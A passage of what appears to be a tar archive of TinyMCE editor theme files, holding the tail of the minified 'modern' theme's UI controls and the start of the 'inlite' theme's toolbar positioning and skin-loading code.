id="'+n+'" class="'+t.classes+'" tabindex="-1" aria-labelledby="'+n+'"><button id="'+n+'-open" role="presentation" type="button" tabindex="-1">'+(r?'<i class="'+r+'"'+e+"></i>":"")+s+' <i class="'+i+'caret"></i></button></div>'},postRender:function(){var r=this;return r.on("click",function(e){e.control===r&&function(e,t){for(;e;){if(t===e)return!0;e=e.parentNode}return!1}(e.target,r.getEl())&&(r.focus(),r.showMenu(!e.aria),e.aria&&r.menu.items().filter(":visible")[0].focus())}),r.on("mouseenter",function(e){var t,n=e.control,i=r.parent();n&&i&&n instanceof nr&&n.parent()===i&&(i.items().filter("MenuButton").each(function(e){e.hideMenu&&e!==n&&(e.menu&&e.menu.visible()&&(t=!0),e.hideMenu())}),t&&(n.focus(),n.showMenu()))}),r._super()},bindStates:function(){var e=this;return e.state.on("change:menu",function(){e.menu&&e.menu.remove(),e.menu=null}),e._super()},remove:function(){this._super(),this.menu&&this.menu.remove()}}),ir=Ct.extend({Defaults:{defaultType:"menuitem",border:1,layout:"stack",role:"application",bodyRole:"menu",ariaRoot:!0},init:function(e){if(e.autohide=!0,e.constrainToViewport=!0,"function"==typeof e.items&&(e.itemsFactory=e.items,e.items=[]),e.itemDefaults)for(var t=e.items,n=t.length;n--;)t[n]=w.extend({},e.itemDefaults,t[n]);this._super(e),this.classes.add("menu"),e.animate&&11!==ce.ie&&this.classes.add("animate")},repaint:function(){return this.classes.toggle("menu-align",!0),this._super(),this.getEl().style.height="",this.getEl("body").style.height="",this},cancel:function(){this.hideAll(),this.fire("select")},load:function(){var t,n=this;function i(){n.throbber&&(n.throbber.hide(),n.throbber=null)}n.settings.itemsFactory&&(n.throbber||(n.throbber=new Ht(n.getEl("body"),!0),0===n.items().length?(n.throbber.show(),n.fire("loading")):n.throbber.show(100,function(){n.items().remove(),n.fire("loading")}),n.on("hide close",i)),n.requestTime=t=(new Date).getTime(),n.settings.itemsFactory(function(e){0!==e.length?n.requestTime===t&&(n.getEl().style.width="",n.getEl("body").style.width="",i(),n.items().remove(),n.getEl("body").innerHTML="",n.add(e),n.renderNew(),n.fire("loaded")):n.hide()}))},hideAll:function(){return this.find("menuitem").exec("hideMenu"),this._super()},preRender:function(){var n=this;return n.items().each(function(e){var t=e.settings;if(t.icon||t.image||t.selectable)return!(n._hasIcons=!0)}),n.settings.itemsFactory&&n.on("postrender",function(){n.settings.itemsFactory&&n.load()}),n.on("show hide",function(e){e.control===n&&("show"===e.type?u.setTimeout(function(){n.classes.add("in")},0):n.classes.remove("in"))}),n._super()}}),rr=nr.extend({init:function(i){var t,r,o,n,s=this;s._super(i),i=s.settings,s._values=t=i.values,t&&("undefined"!=typeof i.value&&function e(t){for(var n=0;n<t.length;n++){if(r=t[n].selected||i.value===t[n].value)return o=o||t[n].text,s.state.set("value",t[n].value),!0;if(t[n].menu&&e(t[n].menu))return!0}}(t),!r&&0<t.length&&(o=t[0].text,s.state.set("value",t[0].value)),s.state.set("menu",t)),s.state.set("text",i.text||o),s.classes.add("listbox"),s.on("select",function(e){var t=e.control;n&&(e.lastControl=n),i.multiple?t.active(!t.active()):s.value(e.control.value()),n=t})},value:function(n){return 0===arguments.length?this.state.get("value"):(void 0===n||(this.settings.values&&!function t(e){return J(e,function(e){return e.menu?t(e.menu):e.value===n})}(this.settings.values)?null===n&&this.state.set("value",null):this.state.set("value",n)),this)},bindStates:function(){var i=this;return i.on("show",function(e){var t,n;t=e.control,n=i.value(),t instanceof ir&&t.items().each(function(e){e.hasMenus()||e.active(e.value()===n)})}),i.state.on("change:value",function(t){var n=function e(t,n){var i;if(t)for(var r=0;r<t.length;r++){if(t[r].value===n)return t[r];if(t[r].menu&&(i=e(t[r].menu,n)))return i}}(i.state.get("menu"),t.value);n?i.text(n.text):i.text(i.settings.text)}),i._super()}}),or=Nt.extend({Defaults:{border:0,role:"menuitem"},init:function(e){var t,n=this;n._super(e),e=n.settings,n.classes.add("menu-item"),e.menu&&n.classes.add("menu-item-expand"),e.preview&&n.classes.add("menu-item-preview"),"-"!==(t=n.state.get("text"))&&"|"!==t||(n.classes.add("menu-item-sep"),n.aria("role","separator"),n.state.set("text","-")),e.selectable&&(n.aria("role","menuitemcheckbox"),n.classes.add("menu-item-checkbox"),e.icon="selected"),e.preview||e.selectable||n.classes.add("menu-item-normal"),n.on("mousedown",function(e){e.preventDefault()}),e.menu&&!e.ariaHideMenu&&n.aria("haspopup",!0)},hasMenus:function(){return!!this.settings.menu},showMenu:function(){var t,n=this,e=n.settings,i=n.parent();if(i.items().each(function(e){e!==n&&e.hideMenu()}),e.menu){(t=n.menu)?t.show():((t=e.menu).length?t={type:"menu",items:t}:t.type=t.type||"menu",i.settings.itemDefaults&&(t.itemDefaults=i.settings.itemDefaults),(t=n.menu=v.create(t).parent(n).renderTo()).reflow(),t.on("cancel",function(e){e.stopPropagation(),n.focus(),t.hide()}),t.on("show hide",function(e){e.control.items&&e.control.items().each(function(e){e.active(e.settings.selected)})}).fire("show"),t.on("hide",function(e){e.control===t&&n.classes.remove("selected")}),t.submenu=!0),t._parentMenu=i,t.classes.add("menu-sub");var r=t.testMoveRel(n.getEl(),n.isRtl()?["tl-tr","bl-br","tr-tl","br-bl"]:["tr-tl","br-bl","tl-tr","bl-br"]);t.moveRel(n.getEl(),r),r="menu-sub-"+(t.rel=r),t.classes.remove(t._lastRel).add(r),t._lastRel=r,n.classes.add("selected"),n.aria("expanded",!0)}},hideMenu:function(){var e=this;return e.menu&&(e.menu.items().each(function(e){e.hideMenu&&e.hideMenu()}),e.menu.hide(),e.aria("expanded",!1)),e},renderHtml:function(){var e,t=this,n=t._id,i=t.settings,r=t.classPrefix,o=t.state.get("text"),s=t.settings.icon,a="",l=i.shortcut,u=t.encode(i.url);function c(e){return e.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}function d(e){var t=i.match||"";return t?e.replace(new RegExp(c(t),"gi"),function(e){return"!mce~match["+e+"]mce~match!"}):e}function f(e){return e.replace(new RegExp(c("!mce~match["),"g"),"<b>").replace(new RegExp(c("]mce~match!"),"g"),"</b>")}return s&&t.parent().classes.add("menu-has-icons"),i.image&&(a=" style=\"background-image: url('"+i.image+"')\""),l&&(l=function(e){var t,n,i={};for(i=ce.mac?{alt:"&#x2325;",ctrl:"&#x2318;",shift:"&#x21E7;",meta:"&#x2318;"}:{meta:"Ctrl"},e=e.split("+"),t=0;t<e.length;t++)(n=i[e[t].toLowerCase()])&&(e[t]=n);return e.join("+")}(l)),s=r+"ico "+r+"i-"+(t.settings.icon||"none"),e="-"!==o?'<i class="'+s+'"'+a+"></i>\xa0":"",o=f(t.encode(d(o))),u=f(t.encode(d(u))),'<div id="'+n+'" class="'+t.classes+'" tabindex="-1">'+e+("-"!==o?'<span id="'+n+'-text" class="'+r+'text">'+o+"</span>":"")+(l?'<div id="'+n+'-shortcut" class="'+r+'menu-shortcut">'+l+"</div>":"")+(i.menu?'<div class="'+r+'caret"></div>':"")+(u?'<div class="'+r+'menu-item-link">'+u+"</div>":"")+"</div>"},postRender:function(){var t=this,n=t.settings,e=n.textStyle;if("function"==typeof e&&(e=e.call(this)),e){var i=t.getEl("text");i&&(i.setAttribute("style",e),t._textStyle=e)}return t.on("mouseenter click",function(e){e.control===t&&(n.menu||"click"!==e.type?(t.showMenu(),e.aria&&t.menu.focus(!0)):(t.fire("select"),u.requestAnimationFrame(function(){t.parent().hideAll()})))}),t._super(),t},hover:function(){return this.parent().items().each(function(e){e.classes.remove("selected")}),this.classes.toggle("selected",!0),this},active:function(e){return function(e,t){var n=e._textStyle;if(n){var i=e.getEl("text");i.setAttribute("style",n),t&&(i.style.color="",i.style.backgroundColor="")}}(this,e),void 0!==e&&this.aria("checked",e),this._super(e)},remove:function(){this._super(),this.menu&&this.menu.remove()}}),sr=Kt.extend({Defaults:{classes:"radio",role:"radio"}}),ar=Nt.extend({renderHtml:function(){var e=this,t=e.classPrefix;return e.classes.add("resizehandle"),"both"===e.settings.direction&&e.classes.add("resizehandle-both"),e.canFocus=!1,'<div id="'+e._id+'" class="'+e.classes+'"><i class="'+t+"ico "+t+'i-resize"></i></div>'},postRender:function(){var t=this;t._super(),t.resizeDragHelper=new ct(this._id,{start:function(){t.fire("ResizeStart")},drag:function(e){"both"!==t.settings.direction&&(e.deltaX=0),t.fire("Resize",e)},stop:function(){t.fire("ResizeEnd")}})},remove:function(){return this.resizeDragHelper&&this.resizeDragHelper.destroy(),this._super()}});function lr(e){var t="";if(e)for(var n=0;n<e.length;n++)t+='<option value="'+e[n]+'">'+e[n]+"</option>";return t}var ur=Nt.extend({Defaults:{classes:"selectbox",role:"selectbox",options:[]},init:function(e){var n=this;n._super(e),n.settings.size&&(n.size=n.settings.size),n.settings.options&&(n._options=n.settings.options),n.on("keydown",function(e){var t;13===e.keyCode&&(e.preventDefault(),n.parents().reverse().each(function(e){if(e.toJSON)return t=e,!1}),n.fire("submit",{data:t.toJSON()}))})},options:function(e){return arguments.length?(this.state.set("options",e),this):this.state.get("options")},renderHtml:function(){var e,t=this,n="";return e=lr(t._options),t.size&&(n=' size = "'+t.size+'"'),'<select id="'+t._id+'" class="'+t.classes+'"'+n+">"+e+"</select>"},bindStates:function(){var t=this;return t.state.on("change:options",function(e){t.getEl().innerHTML=lr(e.value)}),t._super()}});function cr(e,t,n){return e<t&&(e=t),n<e&&(e=n),e}function dr(e,t,n){e.setAttribute("aria-"+t,n)}function fr(e,t){var n,i,r,o,s;"v"===e.settings.orientation?(r="top",i="height",n="h"):(r="left",i="width",n="w"),s=e.getEl("handle"),o=((e.layoutRect()[n]||100)-we.getSize(s)[i])*((t-e._minValue)/(e._maxValue-e._minValue))+"px",s.style[r]=o,s.style.height=e.layoutRect().h+"px",dr(s,"valuenow",t),dr(s,"valuetext",""+e.settings.previewFilter(t)),dr(s,"valuemin",e._minValue),dr(s,"valuemax",e._maxValue)}var hr=Nt.extend({init:function(e){var t=this;e.previewFilter||(e.previewFilter=function(e){return Math.round(100*e)/100}),t._super(e),t.classes.add("slider"),"v"===e.orientation&&t.classes.add("vertical"),t._minValue=$(e.minValue)?e.minValue:0,t._maxValue=$(e.maxValue)?e.maxValue:100,t._initValue=t.state.get("value")},renderHtml:function(){var e=this._id,t=this.classPrefix;return'<div id="'+e+'" class="'+this.classes+'"><div id="'+e+'-handle" class="'+t+'slider-handle" role="slider" tabindex="-1"></div></div>'},reset:function(){this.value(this._initValue).repaint()},postRender:function(){var e,t,n,i,r,o,s,a,l,u,c,d,f,h,m=this;e=m._minValue,t=m._maxValue,"v"===m.settings.orientation?(n="screenY",i="top",r="height",o="h"):(n="screenX",i="left",r="width",o="w"),m._super(),function(o,s){function t(e){var t,n,i,r;t=cr(t=(((t=m.value())+(r=n=o))/((i=s)-r)+.05*e)*(i-n)-n,o,s),m.value(t),m.fire("dragstart",{value:t}),m.fire("drag",{value:t}),m.fire("dragend",{value:t})}m.on("keydown",function(e){switch(e.keyCode){case 37:case 38:t(-1);break;case 39:case 40:t(1)}})}(e,t),s=e,a=t,l=m.getEl("handle"),m._dragHelper=new ct(m._id,{handle:m._id+"-handle",start:function(e){u=e[n],c=parseInt(m.getEl("handle").style[i],10),d=(m.layoutRect()[o]||100)-we.getSize(l)[r],m.fire("dragstart",{value:h})},drag:function(e){var t=e[n]-u;f=cr(c+t,0,d),l.style[i]=f+"px",h=s+f/d*(a-s),m.value(h),m.tooltip().text(""+m.settings.previewFilter(h)).show().moveRel(l,"bc tc"),m.fire("drag",{value:h})},stop:function(){m.tooltip().hide(),m.fire("dragend",{value:h})}})},repaint:function(){this._super(),fr(this,this.value())},bindStates:function(){var t=this;return t.state.on("change:value",function(e){fr(t,e.value)}),t._super()}}),mr=Nt.extend({renderHtml:function(){return this.classes.add("spacer"),this.canFocus=!1,'<div id="'+this._id+'" class="'+this.classes+'"></div>'}}),gr=nr.extend({Defaults:{classes:"widget btn splitbtn",role:"button"},repaint:function(){var e,t,n=this.getEl(),i=this.layoutRect();return this._super(),e=n.firstChild,t=n.lastChild,ye(e).css({width:i.w-we.getSize(t).width,height:i.h-2}),ye(t).css({height:i.h-2}),this},activeMenu:function(e){ye(this.getEl().lastChild).toggleClass(this.classPrefix+"active",e)},renderHtml:function(){var e,t,n=this,i=n._id,r=n.classPrefix,o=n.state.get("icon"),s=n.state.get("text"),a=n.settings,l="";return(e=a.image)?(o="none","string"!=typeof e&&(e=_.window.getSelection?e[0]:e[1]),e=" style=\"background-image: url('"+e+"')\""):e="",o=a.icon?r+"ico "+r+"i-"+o:"",s&&(n.classes.add("btn-has-text"),l='<span class="'+r+'txt">'+n.encode(s)+"</span>"),t="boolean"==typeof a.active?' aria-pressed="'+a.active+'"':"",'<div id="'+i+'" class="'+n.classes+'" role="button"'+t+' tabindex="-1"><button type="button" hidefocus="1" tabindex="-1">'+(o?'<i class="'+o+'"'+e+"></i>":"")+l+'</button><button type="button" class="'+r+'open" hidefocus="1" tabindex="-1">'+(n._menuBtnText?(o?"\xa0":"")+n._menuBtnText:"")+' <i class="'+r+'caret"></i></button></div>'},postRender:function(){var n=this.settings.onclick;return this.on("click",function(e){var t=e.target;if(e.control===this)for(;t;){if(e.aria&&"down"!==e.aria.key||"BUTTON"===t.nodeName&&-1===t.className.indexOf("open"))return e.stopImmediatePropagation(),void(n&&n.call(this,e));t=t.parentNode}}),delete this.settings.onclick,this._super()}}),pr=xi.extend({Defaults:{containerClass:"stack-layout",controlClass:"stack-layout-item",endClass:"break"},isNative:function(){return!0}}),vr=pt.extend({Defaults:{layout:"absolute",defaults:{type:"panel"}},activateTab:function(n){var e;this.activeTabId&&(e=this.getEl(this.activeTabId),ye(e).removeClass(this.classPrefix+"active"),e.setAttribute("aria-selected","false")),this.activeTabId="t"+n,(e=this.getEl("t"+n)).setAttribute("aria-selected","true"),ye(e).addClass(this.classPrefix+"active"),this.items()[n].show().fire("showtab"),this.reflow(),this.items().each(function(e,t){n!==t&&e.hide()})},renderHtml:function(){var i=this,e=i._layout,r="",o=i.classPrefix;return i.preRender(),e.preRender(i),i.items().each(function(e,t){var n=i._id+"-t"+t;e.aria("role","tabpanel"),e.aria("labelledby",n),r+='<div id="'+n+'" class="'+o+'tab" unselectable="on" role="tab" aria-controls="'+e._id+'" aria-selected="false" tabIndex="-1">'+i.encode(e.settings.title)+"</div>"}),'<div id="'+i._id+'" class="'+i.classes+'" hidefocus="1" tabindex="-1"><div id="'+i._id+'-head" class="'+o+'tabs" role="tablist">'+r+'</div><div id="'+i._id+'-body" class="'+i.bodyClasses+'">'+e.renderHtml(i)+"</div></div>"},postRender:function(){var i=this;i._super(),i.settings.activeTab=i.settings.activeTab||0,i.activateTab(i.settings.activeTab),this.on("click",function(e){var t=e.target.parentNode;if(t&&t.id===i._id+"-head")for(var n=t.childNodes.length;n--;)t.childNodes[n]===e.target&&i.activateTab(n)})},initLayoutRect:function(){var e,t,n,i=this;t=(t=we.getSize(i.getEl("head")).width)<0?0:t,n=0,i.items().each(function(e){t=Math.max(t,e.layoutRect().minW),n=Math.max(n,e.layoutRect().minH)}),i.items().each(function(e){e.settings.x=0,e.settings.y=0,e.settings.w=t,e.settings.h=n,e.layoutRect({x:0,y:0,w:t,h:n})});var r=we.getSize(i.getEl("head")).height;return i.settings.minWidth=t,i.settings.minHeight=n+r,(e=i._super()).deltaH+=r,e.innerH=e.h-e.deltaH,e}}),br=Nt.extend({init:function(e){var n=this;n._super(e),n.classes.add("textbox"),e.multiline?n.classes.add("multiline"):(n.on("keydown",function(e){var t;13===e.keyCode&&(e.preventDefault(),n.parents().reverse().each(function(e){if(e.toJSON)return t=e,!1}),n.fire("submit",{data:t.toJSON()}))}),n.on("keyup",function(e){n.state.set("value",e.target.value)}))},repaint:function(){var e,t,n,i,r,o=this,s=0;e=o.getEl().style,t=o._layoutRect,r=o._lastRepaintRect||{};var a=_.document;return!o.settings.multiline&&a.all&&(!a.documentMode||a.documentMode<=8)&&(e.lineHeight=t.h-s+"px"),i=(n=o.borderBox).left+n.right+8,s=n.top+n.bottom+(o.settings.multiline?8:0),t.x!==r.x&&(e.left=t.x+"px",r.x=t.x),t.y!==r.y&&(e.top=t.y+"px",r.y=t.y),t.w!==r.w&&(e.width=t.w-i+"px",r.w=t.w),t.h!==r.h&&(e.height=t.h-s+"px",r.h=t.h),o._lastRepaintRect=r,o.fire("repaint",{},!1),o},renderHtml:function(){var t,e,n=this,i=n.settings;return t={id:n._id,hidefocus:"1"},w.each(["rows","spellcheck","maxLength","size","readonly","min","max","step","list","pattern","placeholder","required","multiple"],function(e){t[e]=i[e]}),n.disabled()&&(t.disabled="disabled"),i.subtype&&(t.type=i.subtype),(e=we.create(i.multiline?"textarea":"input",t)).value=n.state.get("value"),e.className=n.classes.toString(),e.outerHTML},value:function(e){return arguments.length?(this.state.set("value",e),this):(this.state.get("rendered")&&this.state.set("value",this.getEl().value),this.state.get("value"))},postRender:function(){var t=this;t.getEl().value=t.state.get("value"),t._super(),t.$el.on("change",function(e){t.state.set("value",e.target.value),t.fire("change",e)})},bindStates:function(){var t=this;return t.state.on("change:value",function(e){t.getEl().value!==e.value&&(t.getEl().value=e.value)}),t.state.on("change:disabled",function(e){t.getEl().disabled=e.value}),t._super()},remove:function(){this.$el.off(),this._super()}}),yr=function(){return{Selector:Ie,Collection:Ve,ReflowQueue:Ke,Control:rt,Factory:v,KeyboardNavigation:st,Container:lt,DragHelper:ct,Scrollable:gt,Panel:pt,Movable:He,Resizable:vt,FloatPanel:Ct,Window:It,MessageBox:Yt,Tooltip:Mt,Widget:Nt,Progress:Pt,Notification:Dt,Layout:qt,AbsoluteLayout:Xt,Button:jt,ButtonGroup:Gt,Checkbox:Kt,ComboBox:Qt,ColorBox:en,PanelButton:tn,ColorButton:rn,ColorPicker:sn,Path:ln,ElementPath:un,FormItem:cn,Form:dn,FieldSet:fn,FilePicker:vi,FitLayout:bi,FlexLayout:yi,FlowLayout:xi,FormatControls:Ji,GridLayout:Gi,Iframe:Ki,InfoBox:Zi,Label:Qi,Toolbar:er,MenuBar:tr,MenuButton:nr,MenuItem:or,Throbber:Ht,Menu:ir,ListBox:rr,Radio:sr,ResizeHandle:ar,SelectBox:ur,Slider:hr,Spacer:mr,SplitButton:gr,StackLayout:pr,TabPanel:vr,TextBox:br,DropZone:an,BrowseButton:Jt}},xr=function(n){n.ui?w.each(yr(),function(e,t){n.ui[t]=e}):n.ui=yr()};w.each(yr(),function(e,t){v.add(t,e)}),xr(window.tinymce?window.tinymce:{}),r.add("modern",function(e){return Ji.setup(e),$t(e)})}(window);.htaccess000064400000000000152223175240006333 0ustar00inlite/.htaccess000064400000000000152223175240007617 0ustar00inlite/theme.js000064400001162377152223175240007514 0ustar00(function () {
var inlite = (function (domGlobals) {
    'use strict';

    var global = tinymce.util.Tools.resolve('tinymce.ThemeManager');

    var global$1 = tinymce.util.Tools.resolve('tinymce.Env');

    var global$2 = tinymce.util.Tools.resolve('tinymce.dom.DOMUtils');

    var global$3 = tinymce.util.Tools.resolve('tinymce.util.Delay');

    var flatten = function (arr) {
      return arr.reduce(function (results, item) {
        return Array.isArray(item) ? results.concat(flatten(item)) : results.concat(item);
      }, []);
    };
    var DeepFlatten = { flatten: flatten };

    var result = function (id, rect) {
      return {
        id: id,
        rect: rect
      };
    };
    var match = function (editor, matchers) {
      for (var i = 0; i < matchers.length; i++) {
        var f = matchers[i];
        var result_1 = f(editor);
        if (result_1) {
          return result_1;
        }
      }
      return null;
    };
    var Matcher = {
      match: match,
      result: result
    };

    var fromClientRect = function (clientRect) {
      return {
        x: clientRect.left,
        y: clientRect.top,
        w: clientRect.width,
        h: clientRect.height
      };
    };
    var toClientRect = function (geomRect) {
      return {
        left: geomRect.x,
        top: geomRect.y,
        width: geomRect.w,
        height: geomRect.h,
        right: geomRect.x + geomRect.w,
        bottom: geomRect.y + geomRect.h
      };
    };
    var Convert = {
      fromClientRect: fromClientRect,
      toClientRect: toClientRect
    };

    var toAbsolute = function (rect) {
      var vp = global$2.DOM.getViewPort();
      return {
        x: rect.x + vp.x,
        y: rect.y + vp.y,
        w: rect.w,
        h: rect.h
      };
    };
    var measureElement = function (elm) {
      var clientRect = elm.getBoundingClientRect();
      return toAbsolute({
        x: clientRect.left,
        y: clientRect.top,
        w: Math.max(elm.clientWidth, elm.offsetWidth),
        h: Math.max(elm.clientHeight, elm.offsetHeight)
      });
    };
    var getElementRect = function (editor, elm) {
      return measureElement(elm);
    };
    var getPageAreaRect = function (editor) {
      return measureElement(editor.getElement().ownerDocument.body);
    };
    var getContentAreaRect = function (editor) {
      return measureElement(editor.getContentAreaContainer() || editor.getBody());
    };
    var getSelectionRect = function (editor) {
      var clientRect = editor.selection.getBoundingClientRect();
      return clientRect ? toAbsolute(Convert.fromClientRect(clientRect)) : null;
    };
    var Measure = {
      getElementRect: getElementRect,
      getPageAreaRect: getPageAreaRect,
      getContentAreaRect: getContentAreaRect,
      getSelectionRect: getSelectionRect
    };

    var element = function (element, predicateIds) {
      return function (editor) {
        for (var i = 0; i < predicateIds.length; i++) {
          if (predicateIds[i].predicate(element)) {
            var result = Matcher.result(predicateIds[i].id, Measure.getElementRect(editor, element));
            return result;
          }
        }
        return null;
      };
    };
    var parent = function (elements, predicateIds) {
      return function (editor) {
        for (var i = 0; i < elements.length; i++) {
          for (var x = 0; x < predicateIds.length; x++) {
            if (predicateIds[x].predicate(elements[i])) {
              return Matcher.result(predicateIds[x].id, Measure.getElementRect(editor, elements[i]));
            }
          }
        }
        return null;
      };
    };
    var ElementMatcher = {
      element: element,
      parent: parent
    };

    var global$4 = tinymce.util.Tools.resolve('tinymce.util.Tools');

    var create = function (id, predicate) {
      return {
        id: id,
        predicate: predicate
      };
    };
    var fromContextToolbars = function (toolbars) {
      return global$4.map(toolbars, function (toolbar) {
        return create(toolbar.id, toolbar.predicate);
      });
    };
    var PredicateId = {
      create: create,
      fromContextToolbars: fromContextToolbars
    };

    var textSelection = function (id) {
      return function (editor) {
        if (!editor.selection.isCollapsed()) {
          var result = Matcher.result(id, Measure.getSelectionRect(editor));
          return result;
        }
        return null;
      };
    };
    var emptyTextBlock = function (elements, id) {
      return function (editor) {
        var i;
        var textBlockElementsMap = editor.schema.getTextBlockElements();
        for (i = 0; i < elements.length; i++) {
          if (elements[i].nodeName === 'TABLE') {
            return null;
          }
        }
        for (i = 0; i < elements.length; i++) {
          if (elements[i].nodeName in textBlockElementsMap) {
            if (editor.dom.isEmpty(elements[i])) {
              return Matcher.result(id, Measure.getSelectionRect(editor));
            }
            return null;
          }
        }
        return null;
      };
    };
    var SelectionMatcher = {
      textSelection: textSelection,
      emptyTextBlock: emptyTextBlock
    };

    var fireSkinLoaded = function (editor) {
      editor.fire('SkinLoaded');
    };
    var fireBeforeRenderUI = function (editor) {
      return editor.fire('BeforeRenderUI');
    };
    var Events = {
      fireSkinLoaded: fireSkinLoaded,
      fireBeforeRenderUI: fireBeforeRenderUI
    };

    var global$5 = tinymce.util.Tools.resolve('tinymce.EditorManager');

    var isType = function (type) {
      return function (value) {
        return typeof value === type;
      };
    };
    var isArray = function (value) {
      return Array.isArray(value);
    };
    var isNull = function (value) {
      return value === null;
    };
    var isObject = function (predicate) {
      return function (value) {
        return !isNull(value) && !isArray(value) && predicate(value);
      };
    };
    var isString = function (value) {
      return isType('string')(value);
    };
    var isNumber = function (value) {
      return isType('number')(value);
    };
    var isFunction = function (value) {
      return isType('function')(value);
    };
    var isBoolean = function (value) {
      return isType('boolean')(value);
    };
    var Type = {
      isString: isString,
      isNumber: isNumber,
      isBoolean: isBoolean,
      isFunction: isFunction,
      isObject: isObject(isType('object')),
      isNull: isNull,
      isArray: isArray
    };

    var validDefaultOrDie = function (value, predicate) {
      if (predicate(value)) {
        return true;
      }
      throw new Error('Default value doesn\'t match requested type.');
    };
    var getByTypeOr = function (predicate) {
      return function (editor, name, defaultValue) {
        var settings = editor.settings;
        validDefaultOrDie(defaultValue, predicate);
        return name in settings && predicate(settings[name]) ? settings[name] : defaultValue;
      };
    };
    var splitNoEmpty = function (str, delim) {
      return str.split(delim).filter(function (item) {
        return item.length > 0;
      });
    };
    var itemsToArray = function (value, defaultValue) {
      var stringToItemsArray = function (value) {
        return typeof value === 'string' ? splitNoEmpty(value, /[ ,]/) : value;
      };
      var boolToItemsArray = function (value, defaultValue) {
        return value === false ? [] : defaultValue;
      };
      if (Type.isArray(value)) {
        return value;
      } else if (Type.isString(value)) {
        return stringToItemsArray(value);
      } else if (Type.isBoolean(value)) {
        return boolToItemsArray(value, defaultValue);
      }
      return defaultValue;
    };
    var getToolbarItemsOr = function (predicate) {
      return function (editor, name, defaultValue) {
        var value = name in editor.settings ? editor.settings[name] : defaultValue;
        validDefaultOrDie(defaultValue, predicate);
        return itemsToArray(value, defaultValue);
      };
    };
    var EditorSettings = {
      getStringOr: getByTypeOr(Type.isString),
      getBoolOr: getByTypeOr(Type.isBoolean),
      getNumberOr: getByTypeOr(Type.isNumber),
      getHandlerOr: getByTypeOr(Type.isFunction),
      getToolbarItemsOr: getToolbarItemsOr(Type.isArray)
    };

    var global$6 = tinymce.util.Tools.resolve('tinymce.geom.Rect');

    var result$1 = function (rect, position) {
      return {
        rect: rect,
        position: position
      };
    };
    var moveTo = function (rect, toRect) {
      return {
        x: toRect.x,
        y: toRect.y,
        w: rect.w,
        h: rect.h
      };
    };
    var calcByPositions = function (testPositions1, testPositions2, targetRect, contentAreaRect, panelRect) {
      var relPos, relRect, outputPanelRect;
      var paddedContentRect = {
        x: contentAreaRect.x,
        y: contentAreaRect.y,
        w: contentAreaRect.w + (contentAreaRect.w < panelRect.w + targetRect.w ? panelRect.w : 0),
        h: contentAreaRect.h + (contentAreaRect.h < panelRect.h + targetRect.h ? panelRect.h : 0)
      };
      relPos = global$6.findBestRelativePosition(panelRect, targetRect, paddedContentRect, testPositions1);
      targetRect = global$6.clamp(targetRect, paddedContentRect);
      if (relPos) {
        relRect = global$6.relativePosition(panelRect, targetRect, relPos);
        outputPanelRect = moveTo(panelRect, relRect);
        return result$1(outputPanelRect, relPos);
      }
      targetRect = global$6.intersect(paddedContentRect, targetRect);
      if (targetRect) {
        relPos = global$6.findBestRelativePosition(panelRect, targetRect, paddedContentRect, testPositions2);
        if (relPos) {
          relRect = global$6.relativePosition(panelRect, targetRect, relPos);
          outputPanelRect = moveTo(panelRect, relRect);
          return result$1(outputPanelRect, relPos);
        }
        outputPanelRect = moveTo(panelRect, targetRect);
        return result$1(outputPanelRect, relPos);
      }
      return null;
    };
    var calcInsert = function (targetRect, contentAreaRect, panelRect) {
      return calcByPositions([
        'cr-cl',
        'cl-cr'
      ], [
        'bc-tc',
        'bl-tl',
        'br-tr'
      ], targetRect, contentAreaRect, panelRect);
    };
    var calc = function (targetRect, contentAreaRect, panelRect) {
      return calcByPositions([
        'tc-bc',
        'bc-tc',
        'tl-bl',
        'bl-tl',
        'tr-br',
        'br-tr',
        'cr-cl',
        'cl-cr'
      ], [
        'bc-tc',
        'bl-tl',
        'br-tr',
        'cr-cl'
      ], targetRect, contentAreaRect, panelRect);
    };
    var userConstrain = function (handler, targetRect, contentAreaRect, panelRect) {
      var userConstrainedPanelRect;
      if (typeof handler === 'function') {
        userConstrainedPanelRect = handler({
          elementRect: Convert.toClientRect(targetRect),
          contentAreaRect: Convert.toClientRect(contentAreaRect),
          panelRect: Convert.toClientRect(panelRect)
        });
        return Convert.fromClientRect(userConstrainedPanelRect);
      }
      return panelRect;
    };
    var defaultHandler = function (rects) {
      return rects.panelRect;
    };
    var Layout = {
      calcInsert: calcInsert,
      calc: calc,
      userConstrain: userConstrain,
      defaultHandler: defaultHandler
    };

    var toAbsoluteUrl = function (editor, url) {
      return editor.documentBaseURI.toAbsolute(url);
    };
    var urlFromName = function (name) {
      var prefix = global$5.baseURL + '/skins/';
      return name ? prefix + name : prefix + 'lightgray';
    };
    var getTextSelectionToolbarItems = function (editor) {
      return EditorSettings.getToolbarItemsOr(editor, 'selection_toolbar', [
        'bold',
        'italic',
        '|',
        'quicklink',
        'h2',
        'h3',
        'blockquote'
      ]);
    };
    var getInsertToolbarItems = function (editor) {
      return EditorSettings.getToolbarItemsOr(editor, 'insert_toolbar', [
        'quickimage',
        'quicktable'
      ]);
    };
    var getPositionHandler = function (editor) {
      return EditorSettings.getHandlerOr(editor, 'inline_toolbar_position_handler', Layout.defaultHandler);
    };
    var getSkinUrl = function (editor) {
      var settings = editor.settings;
      return settings.skin_url ? toAbsoluteUrl(editor, settings.skin_url) : urlFromName(settings.skin);
    };
    var isSkinDisabled = function (editor) {
      return editor.settings.skin === false;
    };
    var Settings = {
      getTextSelectionToolbarItems: getTextSelectionToolbarItems,
      getInsertToolbarItems: getInsertToolbarItems,
      getPositionHandler: getPositionHandler,
      getSkinUrl: getSkinUrl,
      isSkinDisabled: isSkinDisabled
    };

    var fireSkinLoaded$1 = function (editor, callback) {
      var done = function () {
        editor._skinLoaded = true;
        Events.fireSkinLoaded(editor);
        callback();
      };
      if (editor.initialized) {
        done();
      } else {
        editor.on('init', done);
      }
    };
    var load = function (editor, callback) {
      var skinUrl = Settings.getSkinUrl(editor);
      var done = function () {
        fireSkinLoaded$1(editor, callback);
      };
      if (Settings.isSkinDisabled(editor)) {
        done();
      } else {
        global$2.DOM.styleSheetLoader.load(skinUrl + '/skin.min.css', done);
        editor.contentCSS.push(skinUrl + '/content.inline.min.css');
      }
    };
    var SkinLoader = { load: load };

    var getSelectionElements = function (editor) {
      var node = editor.selection.getNode();
      var elms = editor.dom.getParents(node, '*');
      return elms;
    };
    var createToolbar = function (editor, selector, id, items) {
      var selectorPredicate = function (elm) {
        return editor.dom.is(elm, selector);
      };
      return {
        predicate: selectorPredicate,
        id: id,
        items: items
      };
